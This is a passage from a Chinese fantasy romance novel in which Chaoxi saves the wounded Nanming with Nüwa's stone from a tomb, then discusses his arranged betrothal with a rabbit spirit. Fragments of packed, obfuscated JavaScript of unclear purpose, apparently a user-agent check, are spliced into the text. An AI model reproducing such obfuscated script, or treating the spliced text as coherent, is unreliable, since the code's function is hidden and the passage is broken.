RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她脑袋一懵,真的是暮闲,可为什么呢?难道是因为他的妻子,难道是暮闲想起了什么。 “结果怎样?” “听闻暮闲是个极有头脑的人,日常也低调谦逊,只是不知因为什么,突然就闯了那去,彼时南溟刚刚归位,正在天界受雷火之刑,亦棠也随景羽在不周山,所以他才会相对容易的杀到范懿面前,至于结果倒是令人意外,暮闲全身而退,二人皆受了重伤。” 得知他全身而退,便松了口气。“两个人都受伤,这有什么意外的?” “暮闲受伤,甚至送命都在情理之中,毕竟范懿修为高深,可他怎么会轻易为暮闲所伤?” “这的确是个疑点,回头我见了他要好好问一问。”她捏着下巴点着头,颇是认真。“对了,你刚说什么,殿下在天界受刑?什么刑?” “他在凡界所造的杀孽,本来是要再去轮回盘转世几次,可现在情况极不乐观,天帝便下令,以雷火之刑代替轮回,受过之后,罪孽便抵消。故而暮闲杀进雾仪山时,南溟未及赶去。” “那伤,严不严重?” “总要一阵子来恢复的。” 她很失落,发生了这么多事,一时有些不知所措,怪不得南乔几天前匆匆离去。 “你在担心……南溟?还是暮闲?” 这个问题,她一怔:“我也不知道,可能都担心吧。” “不对,方才情急之中,你关切的是,南溟。” 她皱眉不语,不得不承认:“是啊,我可能真的没有办法不去关心殿下。” 79. 放水 在极度的不安中度过了几日,几天后东荒发生了剧烈的震颤,早有预知下,精灵意识到了不好,便倾巢出动来到了海边,习惯了安逸,又依赖于南乔的庇护,大多数人掩目捕雀的认为,这有可能只是地势变化所致,可朝曦明白,东荒是什么地方,能让这儿发生震颤,绝不是寻常的地势变化。 众灵们站在海边,看着悬于不周山上的那团黑气大有涣散之意,再看去,便见一蓝一赤的光卷在其中纠缠不休,海水卷起千丈高浪,引来暴雨列列,巨涛汹涌化形为水兽,发狂的四处奔驰,它跃过海面,眼看就要闯进这里,幸好南乔设下的屏障将它挡在外面,才免于这灾难,众人悬着的心稍稍放下,而随着不周山上空的一声龙吟长啸,朝曦确定,那是南溟。 原来,南溟去攻打了不周山。 当云翳散去,众人准备返回房舍时,身后传来重重跌落声,回头看去,两个浑身是血的人摔进了屏障,一人搀着一人,两片鲜红混在一起,分不清是谁的。 不明来客闯进东荒,精灵门警惕的取出武器,可见这两人伤重,没什么战斗力,便又卸下了几分紧张。 人参精上前问道:“来者何人?” 那人缓缓抬起头,不等他说话,朝曦便抢先从人群中挤了出来,几天的不安似乎应验,她的脸色也在这一刻变得晦暗无光,而这些,无一不是对他们的担忧紧张。 “亦棠君?殿下?这是怎么了?发生了什么事?” 南溟早已经昏了过去,他的伤势很重,亦棠也气力不支,能回到这里,完全是靠一口气撑着。 和众人一起将他们送到了公主殿,她触到了他的伤,胸前一道深裂刀口,不断溢着血,他的左腿骨头绵软,是碎了。眼泪不争气的闯出眼眶,像两串水晶一般挂上脸颊,她理智的收起这伤感去寻医者,可要命的是,这东荒里里外外上上下下,都找不到一个精通医术的,她还不知道造化青莲已经没了,只以为远在南海,无论是带他回去还是拿它过来,都是来不及的。 她急得来回踱步,如同热锅上的蚂蚁,是因为她感受到他的生命在一点一点流逝,那张苍白面目上,愈渐暗淡无光,像极了凡人濒死的样子。 想不到主意,便不安暴躁起来,如同失去支撑一般,摔砸了屋舍里的许多陈设,精灵们看着素日里傻气温和的她,变得这样狂躁,无不惊讶害怕。 “这山中可有圣物?”八荒之首,怎么能没有几件圣物呢?想到这儿,她仿若抓住了一根救命稻草般,开心的笑了出来。 野兔精支吾着,犹豫该不该告诉她,可一想到南溟是公主的亲弟弟,便不再顾虑:“梨花林里,有女娲娘娘的补天石,被公主做成了石榻。” “真的吗?那快些去吧。” “只是……” “只是什么?” “那里是驸马的陵寝。” 开启陵寝,惊扰亡魂,朝曦迟疑,但也只是一瞬而已,她看了看南溟,神思格外笃定:“莫说殿下是公主最疼的弟弟,便是不相干的人,垂危于此,公主也不会见死不救的。” “谁去?咱们可不敢去。” “你带路,我来做,一切后果由我承担。” 她幻出一张毯子,将南溟和亦棠移到上面后,便往梨树林子飞去。 南乔有心的将陵寝内置于一座小山之中,入口隐蔽,众灵们没有一个知道。朝曦为此犯了难,可是每逢关键时刻,不仅力气,头脑也是顶用的,她吩咐众人退出树林,自己则飞上半空向下凝望,很容易就发现了一条走路痕迹最多的路,她欣喜的跑去,只是绕了几圈仍然找不到入口,灵机一动下,幻了只狗出来,她取出南乔送给自己的簪子,与狗鼻子面前晃了晃,狗依照气味去寻踪迹,不多久,便在池塘前刨了起来。 池塘是驸马陵寝的入口,移开它便看到一条往下走的石阶,走进其中发现是一处天然溶洞,洞中气温清凉,厅堂居室构造分明,四处散发着五彩霓光,一派祥和,用人间的话来说,这是一块风水宝地。 驸马在寝室,自然女娲石也要在那儿,她飞快的将几间屋子扫了扫,找到那儿倒没费什么功夫。展眼看见氤氲着仙流的女娲石上躺着一具身穿盔甲的男子,她伏身跪下拜了三拜,恭敬道:“驸马恕罪,殿下垂危,急需这女娲石一用,殿下是公主最疼爱的弟弟,想来您不会不同意的,对吧?” “你不说话,就是答应了。” 她心一横,将已经有些结霜并且僵硬的驸马推了推挪了挪,待空出一块儿来,又把南溟和亦棠抗了上去,盛放三人虽有些拥挤,但这个时候,也没什么可挑剔的了。 坐在石榻边,看着南溟伤口凝合脸色见好,她舒了一口气,悬着的心慢慢落下,放松下来后身上感觉到一阵冷意,不由瑟瑟一抖,伴着困倦酸沉漫上眼皮,在南溟的模糊重影中陷入浅睡。 睡眠之浅,在于看着是入眠之态,可耳边仍然能听到一些对话,并且意识里进行着思考。 “没想到这些年来,不周山的实力竟厉害成这样,天界这么一众精兵强将,竟未能撼动他们多少,而南溟被梵雎重伤成这样,与预断中完全不符,可见梵雎道行之高。”一个女声感叹着。 另一个温和声音回答道:“也是南溟才从凡界回来,本就状态不稳,再是受了雷火刑与斩龙矢,自然无法抵抗那神煞充沛之力。” “不周山若是容易平,又怎容它逍遥法外这么些年,只是,我觉得很奇怪,南溟即便伤势再重,也不好输的这么惨啊,要知道范懿早在收他入山时就说过,他造化不凡,有战神命格,这几年虽说偶尔犯浑,但总体来说还算争气,在梵雎面前这么不堪一击,是不是有些说不过去?” 两人都陷入沉思,默不作声,那沉睡中的人醒来,表示自己同样的不解。 “我也觉得,殿下不该伤成这样。” 睁开眼睛,看见南乔一脸疲惫的倚在对面的贵妃榻上,朝曦想,她真的很喜欢睡贵妃榻,而且无论到哪里,都有贵妃榻可睡。 亦棠坐在旁边,他衣着单薄,原本那件氅衣现在是披在了自己身上。 “朝曦,好本事啊,驸马的陵寝你都找得到。” “多谢公主夸奖,一些权宜之计而已,还请公主师傅别怪罪我。” “怪罪你?你救南溟于危,我们整个南海都得感谢你,不拿你供起来便罢了,怎么敢怪你呢?” 明明是感激的话,由她一说,偏就能听出一些嘲讽来,朝曦呲牙一笑,倒也不往心里去,只还是对南溟关心备至。 “殿下他没有大碍了吗?” “暂且是脱离危险了,伤还是很重,五脏六腑都被震出了血,情况尚不明朗。” 朝曦心中一紧,表象的伤已然很重,没想到内里更严重。“那要怎么办呢?” “先回南海吧,看看父君有什么办法。” “嗯,也只好这样看。”她失意的一叹:“亦棠君,你怎么样?” “我只是受到冲击而致一些外伤,不要紧的。” “朝曦,你回去歇着吧。” “我不累的公主,你们都有伤,你们回去,我留下看顾殿下。” “你错会了我的意思,也好像忘了我说过的话。” 南乔神色严肃,没有玩笑,不容商榷。 她想到想,脑中浮现了那句“你和南溟永远不会再见。”发现这不是玩笑,是现实,南乔看起来粗枝大叶,可粗中有细,实则是最知界限的,想到这儿,便只能识时务的离开。 她走到石榻前,看了看南溟憔悴的面容,浮着重重心事,察觉他不像从前那样心无旁骛了,想到这许多的烦恼有一部分来自于自己,便想一刻不停,立刻消失,只是想到此生再不能相见了,心中沉重。 藏起不舍,她走过驸马身边时心中不由腾起一阵熟悉,却始终想不起来因为什么。 亦棠紧随她出来,说是要赶去雾仪山侍奉师尊,听说与暮闲交手时伤了些根本,她很疑惑暮闲是不是真的这样厉害,亦棠说,所有人只防备魔源,妖星,却忽略了有着强劲威胁的梵雎和暮闲,玄霜虽然厉害,但已经有了南溟能与之抗衡的先例,再加上玄霜年纪道行均已经到了极限,再翻不出什么风浪的,而暮闲,这个妖族第一神秘之人,自他出现,妖族从没有给过天界任何出兵征讨的机会,如今他又只身闯雾仪山,范懿竟也受了伤,可见他的智谋和能力十分的不简单。 “原本我们是要一同隐世去的,不知为了什么,他会做出这冲动之举,其实我看得出,他是不希望两族开战的。” “我这才知道,上次与暮闲交手,其实他有所保留。”亦棠不由的皱了皱眉。 “保留?他为什么要保留呢?” “不太清楚。” “那这次殿下和梵雎交手,可有拼尽全力?” 本只是顺着话说的,没想是一语惊醒梦中人,一下子说到了亦棠的心里,神思呆滞间,回想着二人交战的一幕幕,不知想到了哪儿,他终于意识到了不对,可又证实不了问题出在哪里,匪夷中口中喃喃低语:“到底是为了什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我想着了,我记着了,我不会去打扰殿下的,我争取距他百里就绕着走,行不?” “你别怪我棒打鸳鸯,若是由着你们纵着自己,后果不可估量,何况他的婚事,天界与南海已经定了,所以,你就认了吧。” “我认,我从来没不认过。” 看着她这没什么伤感的样子,南乔顿觉此蛇没心没肺,叹了叹气便折回了房中。朝曦苦苦一笑,将被子蒙在头上继续睡去。 南溟在地陵中休养着,几天后太子景羽和他的妹妹飞羽公主前来探望,若是平常,这东荒里是连外头的一只蚊子都飞不进的,只不过他俩是代表天帝旨意,南乔不好每次都拂逆,所以这次只能相对客气的请这对兄妹进来。 野兔精寻寻把这个消息告诉了朝曦,两人一起躲到了东荒的最西边角落,摊开油纸包来的脆皮花生,炸泥鳅,酒。 “小朝,你确定你是妖族少主吗?”寻寻看着她,一脸的不可置信。 她下意识的点了点头,又摇了摇头:“这是一场误会。” “我说呢,都说妖王是何等威风厉害,她的孩子想必也不是吃素的,你这样怂包,怎么能是呢?他们可真是脑袋长草了。” 寻寻快兔快语,让她不知该怎么回答,无语下捏了几条炸泥鳅送进嘴里,咀嚼出浓浓的脆香味:“这泥鳅是谁炸的,可真是不错。” “当然是我。” “嗯,不错不错。”她继续吃着,不带停歇。 “不过那天见你为了殿下着急生气的样子,倒是有几分少主的意思。你,你与殿下是什么关系啊?” 看着兔子一脸好奇,她转了转眼珠,郑重其事的相告说:“我与殿下,是一起经历过生死的患难之交。” “不对,我怎么觉着你对他情根深种?” 这只兔子可真是能啊。“寻寻,你不该当一只兔子,你该当一个师爷。” “那你是承认了?所以公主是因为这个才让你离殿下远点?听说殿下要订婚的对象是天帝的公主,是不是今日来的那位?” 她舒了一口气,打开酒囊咕嘟咕嘟喝了几口。“若是飞羽,就没有错。” “是飞羽。” “你看见她了?相貌如何?性情呢?”朝曦还是忍不住去打听。 “你这么关心,是怎么回事?” “我怕殿下与她成婚,会被她管制。她可是公主,天帝的嫡亲公主。” “哦,是这样?” “那你到底看没看清啊?” “浅浅看着一片金色锦袍,除了能看出很富贵,什么也没看出来。” “真是没用。”